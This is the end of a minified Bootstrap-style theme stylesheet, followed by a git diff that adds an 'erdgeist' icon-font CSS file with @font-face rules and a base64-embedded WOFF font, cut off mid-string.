#dddddd;border-bottom-right-radius:-1;border-bottom-left-radius:-1}.panel>.list-group,.panel>.panel-collapse>.list-group{margin-bottom:0}.panel>.list-group .list-group-item,.panel>.panel-collapse>.list-group .list-group-item{border-width:1px 0;border-radius:0}.panel>.list-group:first-child .list-group-item:first-child,.panel>.panel-collapse>.list-group:first-child .list-group-item:first-child{border-top:0;border-top-right-radius:-1;border-top-left-radius:-1}.panel>.list-group:last-child .list-group-item:last-child,.panel>.panel-collapse>.list-group:last-child .list-group-item:last-child{border-bottom:0;border-bottom-right-radius:-1;border-bottom-left-radius:-1}.panel-heading+.list-group .list-group-item:first-child{border-top-width:0}.list-group+.panel-footer{border-top-width:0}.panel>.table,.panel>.table-responsive>.table,.panel>.panel-collapse>.table{margin-bottom:0}.panel>.table caption,.panel>.table-responsive>.table caption,.panel>.panel-collapse>.table caption{padding-left:15px;padding-right:15px}.panel>.table:first-child,.panel>.table-responsive:first-child>.table:first-child{border-top-right-radius:-1;border-top-left-radius:-1}.panel>.table:first-child>thead:first-child>tr:first-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child,.panel>.table:first-child>tbody:first-child>tr:first-child,.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child{border-top-left-radius:-1;border-top-right-radius:-1}.panel>.table:first-child>thead:first-child>tr:first-child td:first-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child td:first-child,.panel>.table:first-child>tbody:first-child>tr:first-child td:first-child,.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child td:first-child,.panel>.table:first-child>thead:first-child>tr:first-child th:first-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child th:first-child,.panel>.table:first-child>tbody:first-child>tr:first-child th:first-child,.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child th:first-child{border-top-left-radius:-1}.panel>.table:first-child>thead:first-child>tr:first-child td:last-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child td:last-child,.panel>.table:first-child>tbody:first-child>tr:first-child td:last-child,.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child td:last-child,.panel>.table:first-child>thead:first-child>tr:first-child th:last-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child th:last-child,.panel>.table:first-child>tbody:first-child>tr:first-child th:last-child,.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child th:last-child{border-top-right-radius:-1}.panel>.table:last-child,.panel>.table-responsive:last-child>.table:last-child{border-bottom-right-radius:-1;border-bottom-left-radius:-1}.panel>.table:last-child>tbody:last-child>tr:last-child,.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child,.panel>.table:last-child>tfoot:last-child>tr:last-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child{border-bottom-left-radius:-1;border-bottom-right-radius:-1}.panel>.table:last-child>tbody:last-child>tr:last-child td:first-child,.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child td:first-child,.panel>.table:last-child>tfoot:last-child>tr:last-child td:first-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child td:first-child,.panel>.table:last-child>tbody:last-child>tr:last-child th:first-child,.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child th:first-child,.panel>.table:last-child>tfoot:last-child>tr:last-child th:first-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child th:first-child{border-bottom-left-radius:-1}.panel>.table:last-child>tbody:last-child>tr:last-child td:last-child,.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child td:last-child,.panel>.table:last-child>tfoot:last-child>tr:last-child td:last-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child td:last-child,.panel>.table:last-child>tbody:last-child>tr:last-child th:last-child,.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child th:last-child,.panel>.table:last-child>tfoot:last-child>tr:last-child th:last-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child th:last-child{border-bottom-right-radius:-1}.panel>.panel-body+.table,.panel>.panel-body+.table-responsive,.panel>.table+.panel-body,.panel>.table-responsive+.panel-body{border-top:1px solid #dddddd}.panel>.table>tbody:first-child>tr:first-child th,.panel>.table>tbody:first-child>tr:first-child td{border-top:0}.panel>.table-bordered,.panel>.table-responsive>.table-bordered{border:0}.panel>.table-bordered>thead>tr>th:first-child,.panel>.table-responsive>.table-bordered>thead>tr>th:first-child,.panel>.table-bordered>tbody>tr>th:first-child,.panel>.table-responsive>.table-bordered>tbody>tr>th:first-child,.panel>.table-bordered>tfoot>tr>th:first-child,.panel>.table-responsive>.table-bordered>tfoot>tr>th:first-child,.panel>.table-bordered>thead>tr>td:first-child,.panel>.table-responsive>.table-bordered>thead>tr>td:first-child,.panel>.table-bordered>tbody>tr>td:first-child,.panel>.table-responsive>.table-bordered>tbody>tr>td:first-child,.panel>.table-bordered>tfoot>tr>td:first-child,.panel>.table-responsive>.table-bordered>tfoot>tr>td:first-child{border-left:0}.panel>.table-bordered>thead>tr>th:last-child,.panel>.table-responsive>.table-bordered>thead>tr>th:last-child,.panel>.table-bordered>tbody>tr>th:last-child,.panel>.table-responsive>.table-bordered>tbody>tr>th:last-child,.panel>.table-bordered>tfoot>tr>th:last-child,.panel>.table-responsive>.table-bordered>tfoot>tr>th:last-child,.panel>.table-bordered>thead>tr>td:last-child,.panel>.table-responsive>.table-bordered>thead>tr>td:last-child,.panel>.table-bordered>tbody>tr>td:last-child,.panel>.table-responsive>.table-bordered>tbody>tr>td:last-child,.panel>.table-bordered>tfoot>tr>td:last-child,.panel>.table-responsive>.table-bordered>tfoot>tr>td:last-child{border-right:0}.panel>.table-bordered>thead>tr:first-child>td,.panel>.table-responsive>.table-bordered>thead>tr:first-child>td,.panel>.table-bordered>tbody>tr:first-child>td,.panel>.table-responsive>.table-bordered>tbody>tr:first-child>td,.panel>.table-bordered>thead>tr:first-child>th,.panel>.table-responsive>.table-bordered>thead>tr:first-child>th,.panel>.table-bordered>tbody>tr:first-child>th,.panel>.table-responsive>.table-bordered>tbody>tr:first-child>th{border-bottom:0}.panel>.table-bordered>tbody>tr:last-child>td,.panel>.table-responsive>.table-bordered>tbody>tr:last-child>td,.panel>.table-bordered>tfoot>tr:last-child>td,.panel>.table-responsive>.table-bordered>tfoot>tr:last-child>td,.panel>.table-bordered>tbody>tr:last-child>th,.panel>.table-responsive>.table-bordered>tbody>tr:last-child>th,.panel>.table-bordered>tfoot>tr:last-child>th,.panel>.table-responsive>.table-bordered>tfoot>tr:last-child>th{border-bottom:0}.panel>.table-responsive{border:0;margin-bottom:0}.panel-group{margin-bottom:21px}.panel-group .panel{margin-bottom:0;border-radius:0}.panel-group .panel+.panel{margin-top:5px}.panel-group .panel-heading{border-bottom:0}.panel-group .panel-heading+.panel-collapse>.panel-body,.panel-group .panel-heading+.panel-collapse>.list-group{border-top:1px solid #dddddd}.panel-group .panel-footer{border-top:0}.panel-group .panel-footer+.panel-collapse .panel-body{border-bottom:1px solid #dddddd}.panel-default{border-color:#dddddd}.panel-default>.panel-heading{color:#333333;background-color:#f5f5f5;border-color:#dddddd}.panel-default>.panel-heading+.panel-collapse>.panel-body{border-top-color:#dddddd}.panel-default>.panel-heading .badge{color:#f5f5f5;background-color:#333333}.panel-default>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#dddddd}.panel-primary{border-color:#2780e3}.panel-primary>.panel-heading{color:#ffffff;background-color:#2780e3;border-color:#2780e3}.panel-primary>.panel-heading+.panel-collapse>.panel-body{border-top-color:#2780e3}.panel-primary>.panel-heading .badge{color:#2780e3;background-color:#ffffff}.panel-primary>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#2780e3}.panel-success{border-color:#4e9f15}.panel-success>.panel-heading{color:#ffffff;background-color:#3fb618;border-color:#4e9f15}.panel-success>.panel-heading+.panel-collapse>.panel-body{border-top-color:#4e9f15}.panel-success>.panel-heading .badge{color:#3fb618;background-color:#ffffff}.panel-success>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#4e9f15}.panel-info{border-color:#7643a8}.panel-info>.panel-heading{color:#ffffff;background-color:#9954bb;border-color:#7643a8}.panel-info>.panel-heading+.panel-collapse>.panel-body{border-top-color:#7643a8}.panel-info>.panel-heading .badge{color:#9954bb;background-color:#ffffff}.panel-info>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#7643a8}.panel-warning{border-color:#ff4309}.panel-warning>.panel-heading{color:#ffffff;background-color:#ff7518;border-color:#ff4309}.panel-warning>.panel-heading+.panel-collapse>.panel-body{border-top-color:#ff4309}.panel-warning>.panel-heading .badge{color:#ff7518;background-color:#ffffff}.panel-warning>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#ff4309}.panel-danger{border-color:#f0005e}.panel-danger>.panel-heading{color:#ffffff;background-color:#ff0039;border-color:#f0005e}.panel-danger>.panel-heading+.panel-collapse>.panel-body{border-top-color:#f0005e}.panel-danger>.panel-heading .badge{color:#ff0039;background-color:#ffffff}.panel-danger>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#f0005e}.embed-responsive{position:relative;display:block;height:0;padding:0;overflow:hidden}.embed-responsive .embed-responsive-item,.embed-responsive iframe,.embed-responsive embed,.embed-responsive object,.embed-responsive video{position:absolute;top:0;left:0;bottom:0;height:100%;width:100%;border:0}.embed-responsive.embed-responsive-16by9{padding-bottom:56.25%}.embed-responsive.embed-responsive-4by3{padding-bottom:75%}.well{min-height:20px;padding:19px;margin-bottom:20px;background-color:#f5f5f5;border:1px solid #e3e3e3;border-radius:0;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.05);box-shadow:inset 0 1px 1px rgba(0,0,0,0.05)}.well blockquote{border-color:#ddd;border-color:rgba(0,0,0,0.15)}.well-lg{padding:24px;border-radius:0}.well-sm{padding:9px;border-radius:0}.close{float:right;font-size:22.5px;font-weight:bold;line-height:1;color:#ffffff;text-shadow:0 1px 0 #ffffff;opacity:0.2;filter:alpha(opacity=20)}.close:hover,.close:focus{color:#ffffff;text-decoration:none;cursor:pointer;opacity:0.5;filter:alpha(opacity=50)}button.close{padding:0;cursor:pointer;background:transparent;border:0;-webkit-appearance:none}.modal-open{overflow:hidden}.modal{display:none;overflow:hidden;position:fixed;top:0;right:0;bottom:0;left:0;z-index:1040;-webkit-overflow-scrolling:touch;outline:0}.modal.fade .modal-dialog{-webkit-transform:translate(0, -25%);-ms-transform:translate(0, -25%);-o-transform:translate(0, -25%);transform:translate(0, -25%);-webkit-transition:-webkit-transform .3s ease-out;-o-transition:-o-transform .3s ease-out;transition:transform .3s ease-out}.modal.in .modal-dialog{-webkit-transform:translate(0, 0);-ms-transform:translate(0, 0);-o-transform:translate(0, 0);transform:translate(0, 0)}.modal-open .modal{overflow-x:hidden;overflow-y:auto}.modal-dialog{position:relative;width:auto;margin:10px}.modal-content{position:relative;background-color:#ffffff;border:1px solid #999999;border:1px solid transparent;border-radius:0;-webkit-box-shadow:0 3px 9px rgba(0,0,0,0.5);box-shadow:0 3px 9px rgba(0,0,0,0.5);-webkit-background-clip:padding-box;background-clip:padding-box;outline:0}.modal-backdrop{position:absolute;top:0;right:0;left:0;background-color:#000000}.modal-backdrop.fade{opacity:0;filter:alpha(opacity=0)}.modal-backdrop.in{opacity:0.5;filter:alpha(opacity=50)}.modal-header{padding:15px;border-bottom:1px solid #e5e5e5;min-height:16.42857143px}.modal-header .close{margin-top:-2px}.modal-title{margin:0;line-height:1.42857143}.modal-body{position:relative;padding:20px}.modal-footer{padding:20px;text-align:right;border-top:1px solid #e5e5e5}.modal-footer .btn+.btn{margin-left:5px;margin-bottom:0}.modal-footer .btn-group .btn+.btn{margin-left:-1px}.modal-footer .btn-block+.btn-block{margin-left:0}.modal-scrollbar-measure{position:absolute;top:-9999px;width:50px;height:50px;overflow:scroll}@media (min-width:768px){.modal-dialog{width:600px;margin:30px auto}.modal-content{-webkit-box-shadow:0 5px 15px rgba(0,0,0,0.5);box-shadow:0 5px 15px rgba(0,0,0,0.5)}.modal-sm{width:300px}}@media (min-width:992px){.modal-lg{width:900px}}.tooltip{position:absolute;z-index:1070;display:block;visibility:visible;font-family:"Source Sans Pro",Calibri,Candara,Arial,sans-serif;font-size:13px;font-weight:normal;line-height:1.4;opacity:0;filter:alpha(opacity=0)}.tooltip.in{opacity:0.9;filter:alpha(opacity=90)}.tooltip.top{margin-top:-3px;padding:5px 0}.tooltip.right{margin-left:3px;padding:0 5px}.tooltip.bottom{margin-top:3px;padding:5px 0}.tooltip.left{margin-left:-3px;padding:0 5px}.tooltip-inner{max-width:200px;padding:3px 8px;color:#ffffff;text-align:center;text-decoration:none;background-color:rgba(0,0,0,0.9);border-radius:0}.tooltip-arrow{position:absolute;width:0;height:0;border-color:transparent;border-style:solid}.tooltip.top .tooltip-arrow{bottom:0;left:50%;margin-left:-5px;border-width:5px 5px 0;border-top-color:rgba(0,0,0,0.9)}.tooltip.top-left .tooltip-arrow{bottom:0;right:5px;margin-bottom:-5px;border-width:5px 5px 0;border-top-color:rgba(0,0,0,0.9)}.tooltip.top-right .tooltip-arrow{bottom:0;left:5px;margin-bottom:-5px;border-width:5px 5px 0;border-top-color:rgba(0,0,0,0.9)}.tooltip.right .tooltip-arrow{top:50%;left:0;margin-top:-5px;border-width:5px 5px 5px 0;border-right-color:rgba(0,0,0,0.9)}.tooltip.left .tooltip-arrow{top:50%;right:0;margin-top:-5px;border-width:5px 0 5px 5px;border-left-color:rgba(0,0,0,0.9)}.tooltip.bottom .tooltip-arrow{top:0;left:50%;margin-left:-5px;border-width:0 5px 5px;border-bottom-color:rgba(0,0,0,0.9)}.tooltip.bottom-left .tooltip-arrow{top:0;right:5px;margin-top:-5px;border-width:0 5px 5px;border-bottom-color:rgba(0,0,0,0.9)}.tooltip.bottom-right .tooltip-arrow{top:0;left:5px;margin-top:-5px;border-width:0 5px 5px;border-bottom-color:rgba(0,0,0,0.9)}.popover{position:absolute;top:0;left:0;z-index:1060;display:none;max-width:276px;padding:1px;font-family:"Source Sans Pro",Calibri,Candara,Arial,sans-serif;font-size:15px;font-weight:normal;line-height:1.42857143;text-align:left;background-color:#ffffff;-webkit-background-clip:padding-box;background-clip:padding-box;border:1px solid #cccccc;border:1px solid rgba(0,0,0,0.2);border-radius:0;-webkit-box-shadow:0 5px 10px rgba(0,0,0,0.2);box-shadow:0 5px 10px rgba(0,0,0,0.2);white-space:normal}.popover.top{margin-top:-10px}.popover.right{margin-left:10px}.popover.bottom{margin-top:10px}.popover.left{margin-left:-10px}.popover-title{margin:0;padding:8px 14px;font-size:15px;background-color:#f7f7f7;border-bottom:1px solid #ebebeb;border-radius:-1 -1 0 0}.popover-content{padding:9px 14px}.popover>.arrow,.popover>.arrow:after{position:absolute;display:block;width:0;height:0;border-color:transparent;border-style:solid}.popover>.arrow{border-width:11px}.popover>.arrow:after{border-width:10px;content:""}.popover.top>.arrow{left:50%;margin-left:-11px;border-bottom-width:0;border-top-color:#999999;border-top-color:rgba(0,0,0,0.25);bottom:-11px}.popover.top>.arrow:after{content:" ";bottom:1px;margin-left:-10px;border-bottom-width:0;border-top-color:#ffffff}.popover.right>.arrow{top:50%;left:-11px;margin-top:-11px;border-left-width:0;border-right-color:#999999;border-right-color:rgba(0,0,0,0.25)}.popover.right>.arrow:after{content:" ";left:1px;bottom:-10px;border-left-width:0;border-right-color:#ffffff}.popover.bottom>.arrow{left:50%;margin-left:-11px;border-top-width:0;border-bottom-color:#999999;border-bottom-color:rgba(0,0,0,0.25);top:-11px}.popover.bottom>.arrow:after{content:" ";top:1px;margin-left:-10px;border-top-width:0;border-bottom-color:#ffffff}.popover.left>.arrow{top:50%;right:-11px;margin-top:-11px;border-right-width:0;border-left-color:#999999;border-left-color:rgba(0,0,0,0.25)}.popover.left>.arrow:after{content:" ";right:1px;border-right-width:0;border-left-color:#ffffff;bottom:-10px}.carousel{position:relative}.carousel-inner{position:relative;overflow:hidden;width:100%}.carousel-inner>.item{display:none;position:relative;-webkit-transition:.6s ease-in-out left;-o-transition:.6s ease-in-out left;transition:.6s ease-in-out left}.carousel-inner>.item>img,.carousel-inner>.item>a>img{line-height:1}@media all and (transform-3d),(-webkit-transform-3d){.carousel-inner>.item{-webkit-transition:-webkit-transform .6s ease-in-out;-o-transition:-o-transform .6s ease-in-out;transition:transform .6s ease-in-out;-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-perspective:1000;perspective:1000}.carousel-inner>.item.next,.carousel-inner>.item.active.right{-webkit-transform:translate3d(100%, 0, 0);transform:translate3d(100%, 0, 0);left:0}.carousel-inner>.item.prev,.carousel-inner>.item.active.left{-webkit-transform:translate3d(-100%, 0, 0);transform:translate3d(-100%, 0, 0);left:0}.carousel-inner>.item.next.left,.carousel-inner>.item.prev.right,.carousel-inner>.item.active{-webkit-transform:translate3d(0, 0, 0);transform:translate3d(0, 0, 0);left:0}}.carousel-inner>.active,.carousel-inner>.next,.carousel-inner>.prev{display:block}.carousel-inner>.active{left:0}.carousel-inner>.next,.carousel-inner>.prev{position:absolute;top:0;width:100%}.carousel-inner>.next{left:100%}.carousel-inner>.prev{left:-100%}.carousel-inner>.next.left,.carousel-inner>.prev.right{left:0}.carousel-inner>.active.left{left:-100%}.carousel-inner>.active.right{left:100%}.carousel-control{position:absolute;top:0;left:0;bottom:0;width:15%;opacity:0.5;filter:alpha(opacity=50);font-size:20px;color:#ffffff;text-align:center;text-shadow:0 1px 2px rgba(0,0,0,0.6)}.carousel-control.left{background-image:-webkit-linear-gradient(left, rgba(0,0,0,0.5) 0, rgba(0,0,0,0.0001) 100%);background-image:-o-linear-gradient(left, rgba(0,0,0,0.5) 0, rgba(0,0,0,0.0001) 100%);background-image:-webkit-gradient(linear, left top, right top, from(rgba(0,0,0,0.5)), to(rgba(0,0,0,0.0001)));background-image:linear-gradient(to right, rgba(0,0,0,0.5) 0, rgba(0,0,0,0.0001) 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#80000000', endColorstr='#00000000', GradientType=1)}.carousel-control.right{left:auto;right:0;background-image:-webkit-linear-gradient(left, rgba(0,0,0,0.0001) 0, rgba(0,0,0,0.5) 100%);background-image:-o-linear-gradient(left, rgba(0,0,0,0.0001) 0, rgba(0,0,0,0.5) 100%);background-image:-webkit-gradient(linear, left top, right top, from(rgba(0,0,0,0.0001)), to(rgba(0,0,0,0.5)));background-image:linear-gradient(to right, rgba(0,0,0,0.0001) 0, rgba(0,0,0,0.5) 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#00000000', endColorstr='#80000000', GradientType=1)}.carousel-control:hover,.carousel-control:focus{outline:0;color:#ffffff;text-decoration:none;opacity:0.9;filter:alpha(opacity=90)}.carousel-control .icon-prev,.carousel-control .icon-next,.carousel-control .glyphicon-chevron-left,.carousel-control .glyphicon-chevron-right{position:absolute;top:50%;z-index:5;display:inline-block}.carousel-control .icon-prev,.carousel-control .glyphicon-chevron-left{left:50%;margin-left:-10px}.carousel-control .icon-next,.carousel-control .glyphicon-chevron-right{right:50%;margin-right:-10px}.carousel-control .icon-prev,.carousel-control .icon-next{width:20px;height:20px;margin-top:-10px;line-height:1;font-family:serif}.carousel-control .icon-prev:before{content:'\2039'}.carousel-control .icon-next:before{content:'\203a'}.carousel-indicators{position:absolute;bottom:10px;left:50%;z-index:15;width:60%;margin-left:-30%;padding-left:0;list-style:none;text-align:center}.carousel-indicators li{display:inline-block;width:10px;height:10px;margin:1px;text-indent:-999px;border:1px solid #ffffff;border-radius:10px;cursor:pointer;background-color:#000 \9;background-color:rgba(0,0,0,0)}.carousel-indicators .active{margin:0;width:12px;height:12px;background-color:#ffffff}.carousel-caption{position:absolute;left:15%;right:15%;bottom:20px;z-index:10;padding-top:20px;padding-bottom:20px;color:#ffffff;text-align:center;text-shadow:0 1px 2px rgba(0,0,0,0.6)}.carousel-caption .btn{text-shadow:none}@media screen and (min-width:768px){.carousel-control .glyphicon-chevron-left,.carousel-control .glyphicon-chevron-right,.carousel-control .icon-prev,.carousel-control .icon-next{width:30px;height:30px;margin-top:-15px;font-size:30px}.carousel-control .glyphicon-chevron-left,.carousel-control .icon-prev{margin-left:-15px}.carousel-control .glyphicon-chevron-right,.carousel-control .icon-next{margin-right:-15px}.carousel-caption{left:20%;right:20%;padding-bottom:30px}.carousel-indicators{bottom:20px}}.clearfix:before,.clearfix:after,.dl-horizontal dd:before,.dl-horizontal dd:after,.container:before,.container:after,.container-fluid:before,.container-fluid:after,.row:before,.row:after,.form-horizontal .form-group:before,.form-horizontal .form-group:after,.btn-toolbar:before,.btn-toolbar:after,.btn-group-vertical>.btn-group:before,.btn-group-vertical>.btn-group:after,.nav:before,.nav:after,.navbar:before,.navbar:after,.navbar-header:before,.navbar-header:after,.navbar-collapse:before,.navbar-collapse:after,.pager:before,.pager:after,.panel-body:before,.panel-body:after,.modal-footer:before,.modal-footer:after{content:" ";display:table}.clearfix:after,.dl-horizontal dd:after,.container:after,.container-fluid:after,.row:after,.form-horizontal .form-group:after,.btn-toolbar:after,.btn-group-vertical>.btn-group:after,.nav:after,.navbar:after,.navbar-header:after,.navbar-collapse:after,.pager:after,.panel-body:after,.modal-footer:after{clear:both}.center-block{display:block;margin-left:auto;margin-right:auto}.pull-right{float:right !important}.pull-left{float:left !important}.hide{display:none !important}.show{display:block !important}.invisible{visibility:hidden}.text-hide{font:0/0 a;color:transparent;text-shadow:none;background-color:transparent;border:0}.hidden{display:none !important;visibility:hidden !important}.affix{position:fixed}@-ms-viewport{width:device-width}.visible-xs,.visible-sm,.visible-md,.visible-lg{display:none !important}.visible-xs-block,.visible-xs-inline,.visible-xs-inline-block,.visible-sm-block,.visible-sm-inline,.visible-sm-inline-block,.visible-md-block,.visible-md-inline,.visible-md-inline-block,.visible-lg-block,.visible-lg-inline,.visible-lg-inline-block{display:none !important}@media (max-width:767px){.visible-xs{display:block !important}table.visible-xs{display:table}tr.visible-xs{display:table-row !important}th.visible-xs,td.visible-xs{display:table-cell !important}}@media (max-width:767px){.visible-xs-block{display:block !important}}@media (max-width:767px){.visible-xs-inline{display:inline !important}}@media (max-width:767px){.visible-xs-inline-block{display:inline-block !important}}@media (min-width:768px) and (max-width:991px){.visible-sm{display:block !important}table.visible-sm{display:table}tr.visible-sm{display:table-row !important}th.visible-sm,td.visible-sm{display:table-cell !important}}@media (min-width:768px) and (max-width:991px){.visible-sm-block{display:block !important}}@media (min-width:768px) and (max-width:991px){.visible-sm-inline{display:inline !important}}@media (min-width:768px) and (max-width:991px){.visible-sm-inline-block{display:inline-block !important}}@media (min-width:992px) and (max-width:1199px){.visible-md{display:block !important}table.visible-md{display:table}tr.visible-md{display:table-row !important}th.visible-md,td.visible-md{display:table-cell !important}}@media (min-width:992px) and (max-width:1199px){.visible-md-block{display:block !important}}@media (min-width:992px) and (max-width:1199px){.visible-md-inline{display:inline !important}}@media (min-width:992px) and (max-width:1199px){.visible-md-inline-block{display:inline-block !important}}@media (min-width:1200px){.visible-lg{display:block !important}table.visible-lg{display:table}tr.visible-lg{display:table-row !important}th.visible-lg,td.visible-lg{display:table-cell !important}}@media (min-width:1200px){.visible-lg-block{display:block !important}}@media (min-width:1200px){.visible-lg-inline{display:inline !important}}@media (min-width:1200px){.visible-lg-inline-block{display:inline-block !important}}@media (max-width:767px){.hidden-xs{display:none !important}}@media (min-width:768px) and (max-width:991px){.hidden-sm{display:none !important}}@media (min-width:992px) and (max-width:1199px){.hidden-md{display:none !important}}@media (min-width:1200px){.hidden-lg{display:none !important}}.visible-print{display:none !important}@media print{.visible-print{display:block !important}table.visible-print{display:table}tr.visible-print{display:table-row !important}th.visible-print,td.visible-print{display:table-cell !important}}.visible-print-block{display:none !important}@media print{.visible-print-block{display:block !important}}.visible-print-inline{display:none !important}@media print{.visible-print-inline{display:inline !important}}.visible-print-inline-block{display:none !important}@media print{.visible-print-inline-block{display:inline-block !important}}@media print{.hidden-print{display:none !important}}.navbar-inverse .badge{background-color:#fff;color:#2780e3}body{-webkit-font-smoothing:antialiased}.text-primary,.text-primary:hover{color:#2780e3}.text-success,.text-success:hover{color:#3fb618}.text-danger,.text-danger:hover{color:#ff0039}.text-warning,.text-warning:hover{color:#ff7518}.text-info,.text-info:hover{color:#9954bb}table a:not(.btn),.table a:not(.btn){text-decoration:underline}table .dropdown-menu a,.table .dropdown-menu a{text-decoration:none}table .success,.table .success,table .warning,.table .warning,table .danger,.table .danger,table .info,.table .info{color:#fff}table .success a,.table .success a,table .warning a,.table .warning a,table .danger a,.table .danger a,table .info a,.table .info a{color:#fff}.has-warning .help-block,.has-warning .control-label,.has-warning .form-control-feedback{color:#ff7518}.has-warning .form-control,.has-warning .form-control:focus,.has-warning .input-group-addon{border:1px solid #ff7518}.has-error .help-block,.has-error .control-label,.has-error .form-control-feedback{color:#ff0039}.has-error .form-control,.has-error .form-control:focus,.has-error .input-group-addon{border:1px solid #ff0039}.has-success .help-block,.has-success .control-label,.has-success .form-control-feedback{color:#3fb618}.has-success .form-control,.has-success .form-control:focus,.has-success .input-group-addon{border:1px solid #3fb618}.nav-pills>li>a{border-radius:0}.dropdown-menu>li>a:hover,.dropdown-menu>li>a:focus{background-image:none}.close{text-decoration:none;text-shadow:none;opacity:0.4}.close:hover,.close:focus{opacity:1}.alert{border:none}.alert .alert-link{text-decoration:underline;color:#fff}.label{border-radius:0}.progress{height:8px;-webkit-box-shadow:none;box-shadow:none}.progress .progress-bar{font-size:8px;line-height:8px}.panel-heading,.panel-footer{border-top-right-radius:0;border-top-left-radius:0}.panel-default .close{color:#333333}a.list-group-item-success.active{background-color:#3fb618}a.list-group-item-success.active:hover,a.list-group-item-success.active:focus{background-color:#379f15}a.list-group-item-warning.active{background-color:#ff7518}a.list-group-item-warning.active:hover,a.list-group-item-warning.active:focus{background-color:#fe6600}a.list-group-item-danger.active{background-color:#ff0039}a.list-group-item-danger.active:hover,a.list-group-item-danger.active:focus{background-color:#e60033}.modal .close{color:#333333}.popover{color:#333333} diff --git a/themes/erdgeist/assets/css/erdgeist-embedded.css b/themes/erdgeist/assets/css/erdgeist-embedded.css new file mode 100644 index 0000000..22a5941 --- /dev/null +++ b/themes/erdgeist/assets/css/erdgeist-embedded.css @@ -0,0 +1,70 @@ +@font-face { + font-family: 'erdgeist'; + src: url('../font/erdgeist.eot?73063744'); + src: url('../font/erdgeist.eot?73063744#iefix') format('embedded-opentype'), + url('../font/erdgeist.svg?73063744#erdgeist') format('svg'); + font-weight: normal; + font-style: normal; +} +@font-face { + font-family: 'erdgeist'; + src: url('data:application/octet-stream;base64,d09GRgABAAAAABL0AA4AAAAAHdQAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAABPUy8yAAABRAAAAEQAAABWPilJA2NtYXAAAAGIAAAAPQAAAVLoGencY3Z0IAAAAcgAAAAKAAAACgAAAABmcGdtAAAB1AAABZQAAAtwiJCQWWdhc3AAAAdoAAAACAAAAAgAAAAQZ2x5ZgAAB3AAAAhUAAAK1Pgvk5poZWFkAAAPxAAAADUAAAA2BTiFZ2hoZWEAAA/8AAAAIAAAACQHmQNiaG10eAAAEBwAAAAhAAAARD2kAABsb2NhAAAQQAAAACQAAAAkFegYam1heHAAABBkAAAAIAAAACAApwvPbmFtZQAAEIQAAAGBAAACzaaI+Rlwb3N0AAASCAAAAIMAAACz//W2WHByZXAAABKMAAAAZQAAAHvdawOFeJxjYGRewDiBgZWBg6mKaQ8DA0MPhGZ8wGDIyMTAwMTAysyAFQSkuaYwOLxgeCHAHPQ/iyGKWYxhOlCYESQHAPQTC6p4nGNgYGBmgGAZBkYGEPAB8hjBfBYGAyDNAYRMIIkXzC8E/v8HsxhesIJYEowSDFBdYMDIxjDiAQDhZgjDAAAAAAAAAAAAAAAAAAAAeJytVmlzE0cQndVhyzY+gg8SNoFZxnKMdlaYywgQxuxKFuAc8pXsQo5dS3bui0/8Bv2aXpFUkW/8tLweHdhgJ1VUKEr9pvftTPfrnl6T0JLEXliPpNx8Kaa2Nmlk50lIN2xajuJD2dkLKVNM/i6Igmi11L7tOCQiEoGqdYUlgtj3yNIk40OPMlq2Jb1qUm7pSXfZGg/qrfr209BRjt0JJTWboUPrkS2pwqgSRTLtkZI2LcPVX0la4ecrzHzVDCWC6CSSxpthDI/kZ+OMVhmtxnYcRZFNlhtFikQzPIgij7JaYp9cMUFA+aAZUl75NKJ8hB+RFXuU0wpxyXaa3/clP+kdzr8k4nqLsiUH/kB2ZAd7pyv5ItLaCuOmnWxHoYrwdH0nxCObk+qf7FFe02jgdkWmJ80IlspXkFj5CWX2D8lq4XzKlzwa1ZKDnAhaL3NiX/IOtB5HTIlrJsiC7o5OiKDul5yh2GP6uPjjvV0sFyEEyDiW9Y5KuBBGKWGzmiRtBDmIkrJFldR6R0yc8jot4i1hv07t6EtntEmoOzGerYeOrZyo5Hg0qdNMpk7tpObRlAZRSjoTPObXAZQf0SSvtrGaxMqjaWwzYySRUKCFc2kqiGUnljQF0Tya0Zu7YZpr16JFmjxQzz16T29uhZs7PaftwD9r/Gd1KqaDvTCdng7ISnyadrlJ0bp+eoZ/JvFD1gIqkS02w5TFQ7Z+B+XlY0uOwmsDbPee8yvoffZEyKSB+BvwHi/VKQVMhZhVUAvdtNa1LMvUalaLVGTquyFNK1/WaQJNOQ59Y1/GOP6vmRlLTAnf78Tp2RGXnrn2Jcg0h9xmXY/mdWqxXYDObM/pNMv2fZ3m2H6g0zzb8zodYWvrdJTthzotsP1Ip2NsL2hBk+47BHIRgVzABhKBsHUQCNtLCIStQiBs